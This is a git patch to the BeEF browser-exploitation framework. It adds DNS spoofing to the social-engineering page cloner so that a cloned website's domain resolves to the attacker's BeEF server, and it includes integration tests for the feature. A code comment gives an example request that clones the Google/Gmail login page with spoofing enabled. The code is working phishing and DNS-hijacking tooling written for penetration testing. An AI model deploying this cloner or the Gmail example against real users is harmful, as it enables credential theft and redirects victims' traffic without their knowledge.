From a75a95b66303a462bee09624f2cbf14f39a4fc67 Mon Sep 17 00:00:00 2001 From: soh_cah_toa Date: Tue, 4 Feb 2014 16:18:12 -0500 Subject: [PATCH] Implemented DNS spoofer in social engineering extension. The /api/seng/clone_page endpoint now accepts a boolean "dns_spoof" key in the JSON request. This adds a DNS record pointing the cloned webpage to the BeEF server. Integration tests included. --- Rakefile | 8 -- .../rest/socialengineering.rb | 19 ++-- .../web_cloner/web_cloner.rb | 16 +++- test/common/test_constants.rb | 1 + .../integration/tc_social_engineering_rest.rb | 91 +++++++++++++++++++ test/integration/ts_integration.rb | 2 + 6 files changed, 121 insertions(+), 16 deletions(-) create mode 100644 test/integration/tc_social_engineering_rest.rb diff --git a/Rakefile b/Rakefile index fe92286e7..e40188318 100644 --- a/Rakefile +++ b/Rakefile @@ -32,14 +32,6 @@ task :integration => ["install"] do Rake::Task['beef_stop'].invoke end -# TODO: Remove task before comitting -desc "Run DNS integration tests" -task :dns_rest do - Rake::Task['beef_start'].invoke - sh "cd test/integration; ruby -W0 ts_dns_rest.rb" - Rake::Task['beef_stop'].invoke -end - desc "Run integration unit tests" task :unit => ["install"] do sh "cd test/unit;ruby -W0 ts_unit.rb" diff --git a/extensions/social_engineering/rest/socialengineering.rb b/extensions/social_engineering/rest/socialengineering.rb index b03447145..c9a4deaeb 100644 --- a/extensions/social_engineering/rest/socialengineering.rb +++ b/extensions/social_engineering/rest/socialengineering.rb @@ -20,10 +20,15 @@ module BeEF 'Expires' => '0' end - #Example: curl -H "Content-Type: application/json; charset=UTF-8" - #-d '{"url":"https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue= - #https://mail.google.com/mail/&ss=1&scc=1<mpl=default<mplcache=2", "mount":"/url"}' - #-X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7 + # Example: curl -H "Content-Type: application/json; charset=UTF-8" -d json_body + # -X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7 + # + # Example json_body: + # { + # "url": "https://accounts.google.com/ServiceLogin?service=mail&continue=https://mail.google.com/mail/" + # "mount": "/gmail", + # "dns_spoof": true + # } post '/clone_page' do request.body.rewind begin @@ -31,6 +36,7 @@ module BeEF uri = body["url"] mount = body["mount"] use_existing = body["use_existing"] + dns_spoof = body["dns_spoof"] if uri != nil && mount != nil if (uri =~ URI::regexp).nil? #invalid URI @@ -44,7 +50,8 @@ module BeEF end web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance - success = web_cloner.clone_page(uri,mount,use_existing) + success = web_cloner.clone_page(uri, mount, use_existing, dns_spoof) + if success result = { "success" => true, @@ -118,4 +125,4 @@ module BeEF end end end -end \ No newline at end of file +end diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 9b98e3537..5cd9bca5c 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -7,9 +7,9 @@ module BeEF module Extension module SocialEngineering class WebCloner + require 'socket' include Singleton - def initialize @http_server = BeEF::Core::Server.instance @config = BeEF::Core::Configuration.instance @@ -17,7 +17,7 @@ module BeEF @beef_hook = "http://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}" end - def clone_page(url, mount, use_existing) + def clone_page(url, mount, use_existing, dns_spoof) print_info "Cloning page at URL #{url}" uri = URI(url) output = uri.host @@ -113,6 +113,18 @@ module BeEF @http_server.mount("#{mount}", interceptor.new) print_info "Mounting cloned page on URL [#{mount}]" @http_server.remap + + # Add a DNS record spoofing the address of the cloned webpage as the BeEF server + if dns_spoof + dns = BeEF::Extension::Dns::Server.instance + ip = Socket.ip_address_list.detect {|i| !(i.ipv4_loopback? || i.ipv6_loopback?)} + domain = url.gsub(%r{^http://}, '') + + id = dns.add_rule(domain, Resolv::DNS::Resource::IN::A) do |transaction| + transaction.respond!(ip.ip_address) + end + end + success = true else print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'." diff --git a/test/common/test_constants.rb b/test/common/test_constants.rb index b28f315f6..58cea47e7 100644 --- a/test/common/test_constants.rb +++ b/test/common/test_constants.rb @@ -20,4 +20,5 @@ RESTAPI_HOOKS = "http://" + ATTACK_DOMAIN + ":3000/api/hooks" RESTAPI_LOGS = "http://" + ATTACK_DOMAIN + ":3000/api/logs" RESTAPI_MODULES = "http://" + ATTACK_DOMAIN + ":3000/api/modules" RESTAPI_DNS = "http://" + ATTACK_DOMAIN + ":3000/api/dns" +RESTAPI_SENG = "http://" + ATTACK_DOMAIN + ":3000/api/seng" RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin" diff --git a/test/integration/tc_social_engineering_rest.rb b/test/integration/tc_social_engineering_rest.rb new file mode 100644 index 000000000..9895bb0f3 --- /dev/null +++ b/test/integration/tc_social_engineering_rest.rb @@ -0,0 +1,91 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +require 'test/unit' +require 'rest_client' +require 'json' +require '../common/test_constants' + +# @todo RESTful API for the social engineering extension lacks some serious test coverage. +class TC_SocialEngineeringRest < Test::Unit::TestCase + + class << self + + # Login to API before performing any tests + def startup + json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json + @@headers = {:content_type => :json, :accept => :json} + + response = RestClient.post("#{RESTAPI_ADMIN}/login", + json, + @@headers) + + result = JSON.parse(response.body) + @@token = result['token'] + + $root_dir = '../../' + $:.unshift($root_dir) + + require 'core/loader' + + BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml')) + BeEF::Core::Configuration.instance.load_extensions_config + + @@config = BeEF::Core::Configuration.instance + end + + def shutdown + $root_dir = nil + end + + end + + # Tests DNS spoofing of cloned webpages + def test_1_dns_spoof + url = 'http://beefproject.com' + mount = '/beefproject' + dns_spoof = true + + json = {:url => url, :mount => mount, :dns_spoof => dns_spoof}.to_json + + response = RestClient.post("#{RESTAPI_SENG}/clone_page?token=#{@@token}", + json, + @@headers) + + check_response(response) + + ip = Socket.ip_address_list.detect {|i| !(i.ipv4_loopback? || i.ipv6_loopback?)} + domain = url.gsub(%r{^http://}, '') + + regex = %r{ + ^#{domain}\.\t+ + \d+\t+ + IN\t+ + A\t+ + #{ip.ip_address}$ + }x + + # Send DNS request to server to verify that a new rule was added + dns_address = @@config.get('beef.extension.dns.address') + dns_port = @@config.get('beef.extension.dns.port') + + dig_output = `dig @#{dns_address} -p #{dns_port} -t A #{domain}` + assert_match(regex, dig_output) + end + + private + + # Assertions for verifying a response from the RESTful API + def check_response(response) + assert_not_nil(response.body) + assert_equal(200, response.code) + + result = JSON.parse(response.body) + + assert(result['success']) + assert(result['mount']) + end + +end diff --git a/test/integration/ts_integration.rb b/test/integration/ts_integration.rb index d25ef06c7..3598ffb36 100644 --- a/test/integration/ts_integration.rb +++ b/test/integration/ts_integration.rb @@ -17,6 +17,7 @@ require './tc_debug_modules' # RESTful API tests (as well as debug modules) require './tc_login' # Basic log in and log out tests require './tc_jools' # Basic tests for jools require './tc_dns_rest' # Basic tests for DNS RESTful API interface +require './tc_social_engineering_rest' # Basic tests for social engineering RESTful API interface class TS_BeefIntegrationTests def self.suite @@ -27,6 +28,7 @@ class TS_BeefIntegrationTests suite << TC_DebugModules.suite suite << TC_Jools.suite suite << TC_DnsRest.suite + suite << TC_SocialEngineeringRest.suite return suite end